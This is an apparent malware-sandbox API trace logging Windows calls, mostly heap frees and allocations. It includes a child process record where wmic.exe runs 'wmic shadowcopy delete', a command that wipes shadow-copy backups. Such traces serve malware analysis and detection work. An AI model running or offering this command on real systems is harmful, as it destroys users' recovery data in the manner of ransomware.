dwFlags=0x0, lpMem=0x3f39a0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f39c0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f39e0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3a00 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3a20 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3a40 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3a60 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3a80 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3aa0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ac0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ae0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3b00 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3b20 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3b40 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3b60 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3b80 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ba0 | out: hHeap=0x3d0000) returned 1 [0256.155] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3bc0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3be0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3c00 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3c20 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3c40 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3c60 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3c80 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ca0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3cc0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ce0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3d00 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3d20 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3d40 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3d60 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3d80 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3da0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3dc0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3de0 | out: hHeap=0x3d0000) returned 1 [0256.156] GetProcessHeap () returned 0x3d0000 [0256.156] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3e00 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3e20 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3e40 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3e60 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3e80 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ea0 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ec0 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3ee0 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3f00 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3f20 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3f40 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3f60 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3f80 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3fe0 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4000 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4020 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4040 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4060 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.157] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4080 | out: hHeap=0x3d0000) returned 1 [0256.157] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f40a0 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f40c0 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f40e0 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4100 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4120 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4140 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4160 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4180 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f41a0 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f41c0 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f41e0 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4200 | out: hHeap=0x3d0000) returned 1 [0256.158] GetProcessHeap () returned 0x3d0000 [0256.158] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4220 | out: hHeap=0x3d0000) returned 1 [0256.158] exit (_Code=0) Thread: id = 192 os_tid = 0x224 Thread: id = 194 os_tid = 0xc0 Thread: id = 195 os_tid = 0x628 Thread: id = 196 os_tid = 0xc4 Thread: id = 197 os_tid = 0x7ec [0255.920] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x45fde0 [0255.920] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x455850 [0255.920] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x410580 [0255.920] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x460b10 [0255.920] LocalReAlloc (hMem=0x410580, uBytes=0x20, uFlags=0x2) returned 0x42f3d0 [0255.921] LocalFree (hMem=0x45fde0) returned 0x0 [0255.921] LocalFree (hMem=0x460b10) returned 0x0 [0255.921] LocalFree (hMem=0x42f3d0) returned 0x0 [0255.921] LocalFree (hMem=0x455850) returned 0x0 Process: id = "23" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x61cc9000" os_pid = "0x500" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x5fc" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 198 os_tid = 0x6d8 [0268.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ff10 | out: lpSystemTimeAsFileTime=0x24ff10*(dwLowDateTime=0x25ba76a0, dwHighDateTime=0x1d696f4)) [0268.788] GetCurrentProcessId () returned 0x500 [0268.788] GetCurrentThreadId () returned 0x6d8 [0268.788] GetTickCount () returned 0x114e4f3 [0268.788] QueryPerformanceCounter (in: lpPerformanceCount=0x24ff18 | out: lpPerformanceCount=0x24ff18*=19600597129) returned 1 [0268.791] GetModuleHandleW (lpModuleName=0x0) returned 0xffed0000 [0268.791] __set_app_type (_Type=0x1) [0268.791] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff1ced0) returned 0x0 [0268.791] __wgetmainargs (in: _Argc=0xfff42380, _Argv=0xfff42390, _Env=0xfff42388, _DoWildCard=0, _StartInfo=0xfff4239c | out: _Argc=0xfff42380, _Argv=0xfff42390, _Env=0xfff42388) returned 0 [0268.799] ??0CHString@@QEAA@XZ () returned 0xfff42ab0 [0268.915] malloc (_Size=0x30) returned 0x125a50 [0269.076] malloc (_Size=0x70) returned 0x125a90 [0269.078] malloc (_Size=0x50) returned 0x127ab0 [0269.078] malloc (_Size=0x30) returned 0x127b10 [0269.078] malloc (_Size=0x48) returned 0x127b50 [0269.078] malloc (_Size=0x30) returned 0x127ba0 [0269.078] malloc (_Size=0x30) returned 0x127be0 [0269.078] ??0CHString@@QEAA@XZ () returned 0xfff42f58 [0269.078] malloc (_Size=0x30) returned 0x127c20 [0269.078] ?Empty@CHString@@QEAAXXZ () returned 0x7fef92b482c [0269.078] SetConsoleCtrlHandler (HandlerRoutine=0xfff15724, Add=1) returned 1 [0269.078] _onexit (_Func=0xfff2f378) returned 0xfff2f378 [0269.079] _onexit (_Func=0xfff2f490) returned 0xfff2f490 [0269.079] _onexit (_Func=0xfff2f4d0) returned 0xfff2f4d0 [0269.079] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0269.079] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0269.085] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0269.572] CoCreateInstance (in: rclsid=0xffed73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffed7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xfff42940 | out: ppv=0xfff42940*=0x1e81390) returned 0x0 [0269.585] GetCurrentProcess () returned 0xffffffffffffffff [0269.585] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x24fce0 | out: TokenHandle=0x24fce0*=0x104) returned 1 [0269.585] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24fcd8 | out: TokenInformation=0x0, ReturnLength=0x24fcd8) returned 0 [0269.585] malloc (_Size=0x118) returned 0x1263e0 [0269.585] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x3, TokenInformation=0x1263e0, TokenInformationLength=0x118, ReturnLength=0x24fcd8 | out: TokenInformation=0x1263e0, ReturnLength=0x24fcd8) returned 1 [0269.585] AdjustTokenPrivileges (in: TokenHandle=0x104, DisableAllPrivileges=0, NewState=0x1263e0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-966873070, Attributes=0x3f0c), (Luid.LowPart=0x0, Luid.HighPart=1212304, Attributes=0x0), (Luid.LowPart=0x610072, Luid.HighPart=2097261, Attributes=0x690046), (Luid.LowPart=0x5c0073, Luid.HighPart=7274563, Attributes=0x6d006d), (Luid.LowPart=0x460020, Luid.HighPart=7077993, Attributes=0x730065), (Luid.LowPart=0x6d006f, Luid.HighPart=7274605, Attributes=0x50006e))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0269.585] free (_Block=0x1263e0) [0269.585] CloseHandle (hObject=0x104) returned 1 [0269.586] malloc (_Size=0x40) returned 0x1263e0 [0269.587] malloc (_Size=0x40) returned 0x126430 [0269.587] malloc (_Size=0x40) returned 0x126480 [0269.587] malloc (_Size=0x20a) returned 0x1264d0 [0269.587] GetSystemDirectoryW (in: lpBuffer=0x1264d0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0269.587] free (_Block=0x1264d0) [0269.587] malloc (_Size=0x18) returned 0x25dfb0 [0269.587] malloc (_Size=0x18) returned 0x127f90 [0269.587] malloc (_Size=0x18) returned 0x127fb0 [0269.587] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0269.587] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0269.587] free (_Block=0x25dfb0) [0269.587] free (_Block=0x127f90) [0269.587] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x77970000 [0269.587] GetProcAddress (hModule=0x77970000, lpProcName="SetThreadUILanguage") returned 0x77986d40 [0269.587] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0269.588] FreeLibrary (hLibModule=0x77970000) returned 1 [0269.588] free (_Block=0x127fb0) [0269.588] _vsnwprintf (in: _Buffer=0x126480, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x24f908 | out: _Buffer="ms_409") returned 6 [0269.588] malloc (_Size=0x20) returned 0x127f90 [0269.588] GetComputerNameW (in: lpBuffer=0x127f90, nSize=0x24fce0 | out: lpBuffer="XDUWTFONO", nSize=0x24fce0) returned 1 [0269.589] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.589] malloc (_Size=0x14) returned 0x25dfb0 [0269.589] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.589] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x24fcd8 | out: lpNameBuffer=0x0, nSize=0x24fcd8) returned 0x7fffffde000 [0269.590] GetLastError () returned 0xea [0269.590] malloc (_Size=0x40) returned 0x1264d0 [0269.590] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1264d0, nSize=0x24fcd8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x24fcd8) returned 0x1 [0269.592] lstrlenW (lpString="") returned 0 [0269.592] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.592] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0269.596] lstrlenW (lpString=".") returned 1 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0269.596] lstrlenW (lpString="LOCALHOST") returned 9 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0269.596] free (_Block=0x25dfb0) [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] malloc (_Size=0x14) returned 0x25dfb0 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] malloc (_Size=0x14) returned 0x126520 [0269.596] lstrlenW (lpString="XDUWTFONO") returned 9 [0269.596] malloc (_Size=0x8) returned 0x126540 [0269.596] malloc (_Size=0x18) returned 0x126560 [0269.596] malloc (_Size=0x30) returned 0x126580 [0269.597] malloc (_Size=0x18) returned 0x1265c0 [0269.597] SysStringLen (param_1="IDENTIFY") returned 0x8 [0269.597] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0269.597] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0269.597] SysStringLen (param_1="IDENTIFY") returned 0x8 [0269.597] malloc (_Size=0x30) returned 0x1265e0 [0269.597] malloc (_Size=0x18) returned 0x126620 [0269.597] SysStringLen (param_1="IMPERSONATE") returned 0xb [0269.597] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0269.597] SysStringLen (param_1="IMPERSONATE") returned 0xb [0269.597] SysStringLen (param_1="IDENTIFY") returned 0x8 [0269.597] SysStringLen (param_1="IDENTIFY") returned 0x8 [0269.597] SysStringLen (param_1="IMPERSONATE") returned 0xb [0269.597] malloc (_Size=0x30) returned 0x126640 [0269.597] malloc (_Size=0x18) returned 0x126680 [0269.597] SysStringLen (param_1="DELEGATE") returned 0x8 [0269.597] SysStringLen (param_1="IDENTIFY") returned 0x8 [0269.597] SysStringLen (param_1="DELEGATE") returned 0x8 [0269.597] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0269.597] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0269.597] SysStringLen (param_1="DELEGATE") returned 0x8 [0269.597] malloc (_Size=0x30) returned 0x1266a0 [0269.597] malloc (_Size=0x18) returned 0x1266e0 [0269.597] malloc (_Size=0x30) returned 0x126700 [0269.597] malloc (_Size=0x18) returned 0x126740 [0269.597] SysStringLen (param_1="NONE") returned 0x4 [0269.597] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.597] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.597] SysStringLen (param_1="NONE") returned 0x4 [0269.597] malloc (_Size=0x30) returned 0x126760 [0269.598] malloc (_Size=0x18) returned 0x1267a0 [0269.598] SysStringLen (param_1="CONNECT") returned 0x7 [0269.598] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.598] malloc (_Size=0x30) returned 0x1267c0 [0269.598] malloc (_Size=0x18) returned 0x126800 [0269.598] SysStringLen (param_1="CALL") returned 0x4 [0269.598] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.598] SysStringLen (param_1="CALL") returned 0x4 [0269.598] SysStringLen (param_1="CONNECT") returned 0x7 [0269.598] malloc (_Size=0x30) returned 0x126820 [0269.598] malloc (_Size=0x18) returned 0x126860 [0269.598] SysStringLen (param_1="PKT") returned 0x3 [0269.598] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.598] SysStringLen (param_1="PKT") returned 0x3 [0269.598] SysStringLen (param_1="NONE") returned 0x4 [0269.598] SysStringLen (param_1="NONE") returned 0x4 [0269.598] SysStringLen (param_1="PKT") returned 0x3 [0269.598] malloc (_Size=0x30) returned 0x126880 [0269.598] malloc (_Size=0x18) returned 0x1268c0 [0269.598] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0269.598] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.598] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0269.598] SysStringLen (param_1="NONE") returned 0x4 [0269.598] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0269.598] SysStringLen (param_1="PKT") returned 0x3 [0269.598] SysStringLen (param_1="PKT") returned 0x3 [0269.598] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0269.598] malloc (_Size=0x30) returned 0x128000 [0269.599] malloc (_Size=0x18) returned 0x126ce0 [0269.599] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0269.599] SysStringLen (param_1="DEFAULT") returned 0x7 [0269.599] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0269.599] SysStringLen (param_1="PKT") returned 0x3 [0269.599] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0269.599] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0269.599] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0269.599] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0269.599] malloc (_Size=0x30) returned 0x128040 [0269.599] malloc (_Size=0x40) returned 0x126d00 [0269.599] malloc (_Size=0x20a) returned 0x128fd0 [0269.599] GetSystemDirectoryW (in: lpBuffer=0x128fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0269.599] free (_Block=0x128fd0) [0269.599] malloc (_Size=0x18) returned 0x126d50 [0269.599] malloc (_Size=0x18) returned 0x126d70 [0269.599] malloc (_Size=0x18) returned 0x126d90 [0269.599] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0269.599] SysStringLen (param_1="\\wbem\\") returned 0x6 [0269.600] free (_Block=0x126d50) [0269.600] free (_Block=0x126d70) [0269.600] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0269.600] free (_Block=0x126d90) [0269.600] malloc (_Size=0x18) returned 0x126d50 [0269.600] malloc (_Size=0x18) returned 0x126d70 [0269.600] malloc (_Size=0x18) returned 0x126d90 [0269.600] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0269.600] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0269.600] free (_Block=0x126d50) [0269.600] free (_Block=0x126d70) [0269.600] GetCurrentThreadId () returned 0x6d8 [0269.600] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x24f5e0 | out: phkResult=0x24f5e0*=0x108) returned 0x0 [0269.601] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x24f630, lpcbData=0x24f5d0*=0x400 | out: lpType=0x0, lpData=0x24f630*=0x30, lpcbData=0x24f5d0*=0x4) returned 0x0 [0269.601] _wcsicmp (_String1="0", _String2="1") returned -1 [0269.601] _wcsicmp (_String1="0", _String2="2") returned -2 [0269.601] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging Directory", 